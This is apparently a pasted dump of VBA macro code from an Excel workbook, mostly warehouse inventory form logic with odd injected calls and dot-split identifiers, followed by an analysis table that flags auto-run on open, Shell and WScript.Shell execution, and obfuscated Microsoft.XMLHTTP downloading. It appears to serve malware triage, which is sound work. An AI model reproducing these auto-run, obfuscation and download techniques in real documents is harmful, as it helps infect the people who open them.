  735.  .balanceBOX(n) = Format(.quantity(n), "0.00")
  736.  Load .quantityBOX(n)
  737.  .quantityBOX(n).tabindex = tabindex + 2
  738.  Load .quantity2BOX(n)
  739.  .quantity2BOX(n).tabindex = tabindex + 2
  740.  Load .priceBOX(n)
  741.  Load .NEWconditionBOX(n)
  742.  Load .positionBox(n)
  743.  .positionBox(n).Text = .SUMMARYlist.row
  744.  Load .logicBOX(n)
  745.  .logicBOX(n).tabindex = tabindex
  746.  Load .sublocaBOX(n)
  747.  .sublocaBOX(n).tabindex = tabindex + 1
  748.  .priceBOX(n) = unitPRICE
  749.  .NEWconditionBOX(n).Tag = newCOND
  750.  Select Case .Tag
  751.  Case "02040400", "02040200", "02040500", "02040700", "02050300", "02040600", "02050400", "02040300", "02050200"
  752.  If serial Then
  753.  .quantity(n) = 1
  754.  Else
  755.  .quantity(n) = QTYpo
  756.  End If
  757.  .quantityBOX(n) = qty
  758.  Case "02040100"
  759.  .quantity(n) = Format(QTYpo, "0.00")
  760.  newCOND = "01"
  761.  If serialPool = "SERIAL" Then
  762.  .quantityBOX(n) = "1.00"
  763.  .quantity2BOX(n) = "1.00"
  764.  Else
  765.  .quantityBOX(n) = qty
  766.  .quantity2BOX(n) = qty2
  767.  End If
  768.  Load .repairBOX(n)
  769.  Set .repairBOX(n).Container = .treeFrame
  770.  .repairBOX(n) = poItem
  771.  Load .poItemBox(n)
  772.  Set .poItemBox(n).Container = .treeFrame
  773.  .poItemBox(n) = .SUMMARYlist.TextMatrix(row, 22)
  774.  End Select
  775.  .NEWconditionBOX(n) = .NEWconditionBOX(n).Tag
  776.  If summaryPOSITION = 0 Then
  777.  .logicBOX(n) = logic
  778.  .sublocaBOX(n) = subloca
  779.  Else
  780.  .logicBOX(n) = .SUMMARYlist.TextMatrix(summaryPOSITION, 11)
  781.  .logicBOX(n).Tag = .logicBOX(n)
  782.  .sublocaBOX(n) = .SUMMARYlist.TextMatrix(summaryPOSITION, 12)
  783.  .sublocaBOX(n).Tag = .sublocaBOX(n)
  784.  .logicBOX(n).TooltipText = getW.AREHOUSEdescription(.logicBOX(n))
  785.  .sublocaBOX(n).TooltipText = getSUBLOCATIONdescription(.sublocaBOX(n))
  786.  End If
  787.  Load .unitBOX(n)
  788.  Load .unit2BOX(n)
  789.  .unitBOX(n).Enabled = False
  790.  .unit2BOX(n).Enabled = False
  791.  .unitBOX(n) = unit
  792.  .unit2BOX(n) = unit2
  793.  If summaryPOSITION = 0 Then
  794.  .NEWconditionBOX(n).TooltipText = conditionName
  795.  .NEWconditionBOX(n).Tag = newCOND
  796.  .NEWconditionBOX(n) = Format(newCOND, "00")
  797.  Else
  798.  .NEWconditionBOX(n).Tag = .SUMMARYlist.TextMatrix(summaryPOSITION, 13)
  799.  .NEWconditionBOX(n) = Format(.NEWconditionBOX(n).Tag, "00")
  800.  .NEWconditionBOX(n).TooltipText = .SUMMARYlist.TextMatrix(summaryPOSITION, 14)
  801.  End If
  802.  Select Case .Tag
  803.  Case "02040200", "02040500"
  804.  .logicBOX(n).Enabled = True
  805.  .sublocaBOX(n).Enabled = True
  806.  .grid(2).Visible = False
  807.  Case "02040400"
  808.  Case "02040100"
  809.  Case "02040700"
  810.  .logicBOX(n).Enabled = True
  811.  Case Else
  812.  .NEWconditionBOX(n).Enabled = True
  813.  .logicBOX(n).Enabled = True
  814.  .sublocaBOX(n).Enabled = True
  815.  .repairBOX(n).Enabled = True
  816.  End Select
  817.  If serialPool = "SERIAL" Then
  818.  .quantityBOX(n).Enabled = False
  819.  .quantity2BOX(n).Enabled = False
  820.  Else
  821.  .quantityBOX(n).Enabled = True
  822.  .quantity2BOX(n).Enabled = False
  823.  End If
  824.  .priceBOX(n).Enabled = True
  825.  End With
  826. ErrHandler:
  827.  Select Case Err.Number
  828.  Case 360, 340, 30, 438
  829.  Resume Next
  830.  Case 0
  831.  Case Else
  832.  Resume Next
  833.  End Select
  834.  Err.Clear
  835. End Sub
  836. Public Sub setupBOXES(n, datax As String, serial As Boolean, Optional QTYpo)
  837. Dim x, cond, logic, subloca, newCOND, serialPool
  838. unitBOX.Open (logicBOX)
  839. Exit Sub
  840. serialPool = IIf(serial, "SERIAL", "POOL")
  841. Dim newButtonEnabled As Boolean
  842. On Error GoTo ErrHandler:
  843.  With frmWarehouse
  844.  newButtonEnabled = .newBUTTON.Enabled
  845.  Load .quantity(n)
  846.  If Not .newBUTTON.Enabled Then Call pu.tBOX(.quantity(n), .detailHEADER.ColWidth(0) + 140, topN.ODE(n), .detailHEADER.ColWidth(1) - 40, vbWhite)
  847.  Load .balanceBOX(n)
  848.  .balanceBOX(n) = Format(.quantity(n), "0.00")
  849.  Load .quantityBOX(n)
  850.  .quantityBOX(n).tabindex = tabindex + 2
  851.  Load .quantity2BOX(n)
  852.  .quantity2BOX(n).tabindex = tabindex + 2
  853.  Load .priceBOX(n)
  854.  Load .NEWconditionBOX(n)
  855.  Load .invoiceBOX(n)
  856.  Load .invoiceLineBOX(n)
  857.  Select Case .Tag
  858.  Case "02040400", "02040200", "02040500", "02040700", "02050300", "02040600", "02050400", "02040300", "02050200"
  859.  If serial Then
  860.  .quantity(n) = 1
  861.  Else
  862.  If .newBUTTON.Enabled Then
  863.  .quantity(n) = Format(dat.ax!qty1, "0.00")
  864.  cond = Trim(dat.ax!OriginalCondition)
  865.  logic = Trim(dat.ax!fromlogic)
  866.  subloca = Trim(dat.ax!fromSubLoca)
  867.  newCOND = IIf(IsNull(dat.ax!NEWcondition), "", dat.ax!NEWcondition)
  868.  Else
  869.  .quantity(n) = Format(dat.ax!qty, "0.00")
  870.  cond = Trim(dat.ax!Condition)
  871.  logic = Trim(dat.ax!logic)
  872.  subloca = Trim(dat.ax!subloca)
  873.  newCOND = dat.ax!Condition
  874.  End If
  875.  End If
  876.  If .Tag = "02050200" Then
  877.  If serial Then
  878.  .quantityBOX(n) = "1.00"
  879.  Else
  880.  .quantityBOX(n) = "0.00"
  881.  End If
  882.  Else
  883.  .quantityBOX(n) = Format(su.mmaryQTY(Trim(dat.ax!StockNumber), cond, logic, subloca, IIf(IsNull(dat.ax!serialNumber), "POOL", Trim(dat.ax!serialNumber)), n), "0.00")
  884.  End If
  885.  .priceBOX(n) = Format(dat.ax!unitPRICE, "0.00")
  886.  .NEWconditionBOX(n).Tag = newCOND
  887.  Case "02040100"
  888.  .quantity(n) = Format(QTYpo, "0.00")
  889.  If newButtonEnabled = True Then
  890.  newCOND = dat.ax!NEWcondition
  891.  .quantityBOX(n) = Format(su.mmaryQTY(Trim(dat.ax!StockNumber), "01", "GENERAL", "GENERAL", serialPool, n), "0.00")
  892.  .quantity2BOX(n) = Format(su.mmaryQTY(Trim(dat.ax!StockNumber), "01", "GENERAL", "GENERAL", serialPool, n), "0.00")
  893.  Else
  894.  newCOND = "01"
  895.  doChanges = False
  896.  If serialPool = "SERIAL" Then
  897.  .quantityBOX(n) = "1.00"
  898.  .quantity2BOX(n) = "1.00"
  899.  Else
  900.  .quantityBOX(n) = Format(su.mmaryQTY(Trim(dat.ax!StockNumber), "01", "unique", "unique", serialPool, n), "0.00")
  901.  .quantity2BOX(n) = Format(su.mmaryQTY(Trim(dat.ax!StockNumber), "01", "unique", "unique", serialPool, n), "0.00")
  902.  End If
  903.  doChanges = True
  904.  End If
  905.  .priceBOX(n) = Format(dat.ax!unitPRICE, "0.00")
  906.  .NEWconditionBOX(n).Tag = newCOND
  907.  Load .repairBOX(n)
  908.  .repairBOX(n) = Format(dat.ax!poItem)
  909.  End Select
  910.  .NEWconditionBOX(n) = .NEWconditionBOX(n).Tag
  911.  Load .poItemBox(n)
  912.  If .Tag = "02040100" Then
  913.  .poItemBox(n) = dat.ax!poItem
  914.  .poItemLabel = dat.ax!poItem
  915.  If .invoiceNumberLabel.Visible Then
  916.  .invoiceBOX(n) = .invoiceNumberLabel.Caption
  917.  .invoiceLineBOX(n) = .invoiceLineLabel.Caption
  918.  Else
  919.  .invoiceBOX(n) = ""
  920.  .invoiceLineBOX(n) = ""
  921.  End If
  922.  Else
  923.  .poItemBox(n) = .poItemLabel
  924.  End If
  925.  Load .positionBox(n)
  926.  Load .logicBOX(n)
  927.  .logicBOX(n).tabindex = tabindex
  928.  Load .sublocaBOX(n)
  929.  .sublocaBOX(n).tabindex = tabindex + 1
  930.  If summaryPOSITION = 0 Then
  931.  If .newBUTTON.Enabled Then
  932.  .logicBOX(n) = dat.ax!toLOGIC
  933.  .sublocaBOX(n) = dat.ax!toSUBLOCA
  934.  Else
  935.  .logicBOX(n) = ""
  936.  .logicBOX(n).BackColor = &HC0C0FF
  937.  .logicBOX(n).TooltipText = "Select a Logic Wareshouse"
  938.  .sublocaBOX(n) = ""
  939.  .sublocaBOX(Index).BackColor = &HC0C0FF
  940.  .sublocaBOX(n).TooltipText = "Select a Sub Location"
  941.  End If
  942.  Else
  943.  .logicBOX(n) = .SUMMARYlist.TextMatrix(summaryPOSITION, 11)
  944.  .sublocaBOX(n) = .SUMMARYlist.TextMatrix(summaryPOSITION, 12)
  945.  .grid(2).Visible = False
  946.  .logicBOX(n).TooltipText = getW.AREHOUSEdescription(.logicBOX(n))
  947.  .sublocaBOX(n).TooltipText = getS.UBLOCATIONdescription(.sublocaBOX(n))
  948.  End If
  949.  .logicBOX(n).Tag = .logicBOX(n)
  950.  .sublocaBOX(n).Tag = .sublocaBOX(n)
  951.  Load .unitBOX(n)
  952.  Load .unit2BOX(n)
  953.  .unitBOX(n).Enabled = False
  954.  .unit2BOX(n).Enabled = False
  955.  If .newBUTTON.Enabled Then
  956.  .unitBOX(n) = ""
  957.  .unit2BOX(n) = ""
  958.  Else
  959.  .unitBOX(n) = dat.ax!unit
  960.  .unit2BOX(n) = dat.ax!unit2
  961.  End If
  962.  If summaryPOSITION = 0 Then
  963.  If .newBUTTON.Enabled Then
  964.  newCOND = dat.ax!NEWcondition
  965.  Else
  966.  newCOND = dat.ax!Condition
  967.  .NEWconditionBOX(n).TooltipText = dat.ax!conditionName
  968.  End If
  969.  .NEWconditionBOX(n).Tag = newCOND
  970.  .NEWconditionBOX(n) = Format(newCOND, "00")
  971.  Else
  972.  .NEWconditionBOX(n).Tag = .SUMMARYlist.TextMatrix(summaryPOSITION, 13)
  973.  .NEWconditionBOX(n) = Format(.NEWconditionBOX(n).Tag, "00")
  974.  .NEWconditionBOX(n).TooltipText = .SUMMARYlist.TextMatrix(summaryPOSITION, 14)
  975.  End If
  976.  Select Case .Tag
  977.  Case "02040200", "02040500"
  978.  If Not .newBUTTON.Enabled Then
  979.  .logicBOX(n).Enabled = True
  980.  .sublocaBOX(n).Enabled = True
  981.  End If
  982.  Case "02040400"
  983.  Load .repairBOX(n)
  984.  If summaryPOSITION = 0 Then
  985.  If .newBUTTON.Enabled Then
  986.  .repairBOX(n) = Format(dat.ax!repairCOST, "0.00")
  987.  .Cell(5) = Trim(dat.ax!NewStockNumber)
  988.  .Cell(5).Tag = .Cell(5)
  989.  .unitLABEL(1) = getU.NIT(.Cell(5).Tag)
  990.  .newDESCRIPTION = Trim(dat.ax!NewStockDescription)
  991.  Else
  992.  .repairBOX(n) = "0"
  993.  End If
  994.  Else
  995.  If .newBUTTON.Enabled Then
  996.  .repairBOX(n) = Format(dat.ax!repairCOST, "0.00")
  997.  .Cell(5) = Trim(dat.ax!NewStockNumber)
  998.  .Cell(5).Tag = .Cell(5)
  999.  .unitLABEL(1) = getU.NIT(.Cell(5).Tag)
  1000.  .newDESCRIPTION = Trim(dat.ax!NewStockDescription)
  1001.  Else
  1002.  .repairBOX(n) = SUMMARYlist.TextMatrix(summaryPOSITION, 17)
  1003.  .Cell(5) = SUMMARYlist.TextMatrix(summaryPOSITION, 18)
  1004.  .Cell(5).Tag = .Cell(5)
  1005.  .unitLABEL(1) = getU.NIT(.Cell(5))
  1006.  .newDESCRIPTION = .SUMMARYlist.TextMatrix(summaryPOSITION, 19)
  1007.  End If
  1008.  End If
  1009.  Case "02040100"
  1010.  Case "02040700"
  1011.  .logicBOX(n).Enabled = False
  1012.  Case Else
  1013.  If Not .newBUTTON.Enabled Then
  1014.  .NEWconditionBOX(n).Enabled = True
  1015.  .logicBOX(n).Enabled = True
  1016.  .sublocaBOX(n).Enabled = True
  1017.  .repairBOX(n).Enabled = True
  1018.  End If
  1019.  End Select
  1020.  If .newBUTTON.Enabled Then
  1021.  .quantityBOX(n).Enabled = False
  1022.  .quantity2BOX(n).Enabled = False
  1023.  .priceBOX(n).Enabled = False
  1024.  .NEWconditionBOX(n).Enabled = False
  1025.  .logicBOX(n).Enabled = True
  1026.  .sublocaBOX(n).Enabled = True
  1027.  .repairBOX(n).Enabled = False
  1028.  Else
  1029.  If serialPool = "SERIAL" Then
  1030.  If frmWarehouse.Tag = "02040300" Or frmWarehouse.Tag = "02040200" Or frmWarehouse.Tag = "02050300" Then
  1031.  Else
  1032.  .quantityBOX(n).Enabled = False
  1033.  .quantity2BOX(n).Enabled = False
  1034.  End If
  1035.  Else
  1036.  Select Case frmWarehouse.Tag
  1037.  Case "02050200"
  1038.  .quantityBOX(n) = "1.00"
  1039.  .quantity2BOX(n) = "1.00"
  1040.  .quantityBOX(n).Enabled = True
  1041.  .quantity2BOX(n).Enabled = False
  1042.  Case Else
  1043.  .quantityBOX(n).Enabled = True
  1044.  .quantity2BOX(n).Enabled = False
  1045.  End Select
  1046.  End If
  1047.  .priceBOX(n).Enabled = True
  1048.  End If
  1049.  End With
  1050. ErrHandler:
  1051.  Select Case Err.Number
  1052.  Case 360, 340, 30
  1053.  Resume Next
  1054.  Case 0
  1055.  Case Else
  1056.  Resume Next
  1057.  End Select
  1058.  Err.Clear
  1059. End Sub
  1060.  
  1061.  
  1062.  
  1063. +------------+----------------------+-----------------------------------------+
  1064. | Type       | Keyword              | Description                             |
  1065. +------------+----------------------+-----------------------------------------+
  1066. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  1067. | Suspicious | currentuser          | May detect Norman Sandbox               |
  1068. | Suspicious | Open                 | May open a file                         |
  1069. | Suspicious | Shell                | May run an executable file or a system  |
  1070. |            |                      | command                                 |
  1071. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  1072. |            |                      | command                                 |
  1073. | Suspicious | MkDir                | May create a directory                  |
  1074. | Suspicious | Shell.Application    | May run an application (if combined     |
  1075. |            |                      | with CreateObject)                      |
  1076. | Suspicious | CreateObject         | May create an OLE object                |
  1077. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1078. |            |                      | strings                                 |
  1079. | Suspicious | ADODB.Stream         | May create a text file                  |
  1080. | Suspicious | SaveToFile           | May create a text file                  |
  1081. | Suspicious | Write                | May write to a file (if combined with   |
  1082. |            |                      | Open)                                   |
  1083. | Suspicious | Print #              | May write to a file (if combined with   |
  1084. |            |                      | Open)                                   |
  1085. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  1086. |            |                      | (obfuscation: VBA expression)           |
  1087. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  1088. |            |                      | be used to obfuscate strings (option    |
  1089. |            |                      | --decode to see all)                    |
  1090. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  1091. |            |                      | may be used to obfuscate strings        |
  1092. |            |                      | (option --decode to see all)            |
  1093. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1094. |            | Strings              | may be used to obfuscate strings        |
  1095. |            |                      | (option --decode to see all)            |
  1096. | VBA string | com_name             | ("com_name") & ""                       |
  1097. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  1098. +------------+----------------------+-----------------------------------------+
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top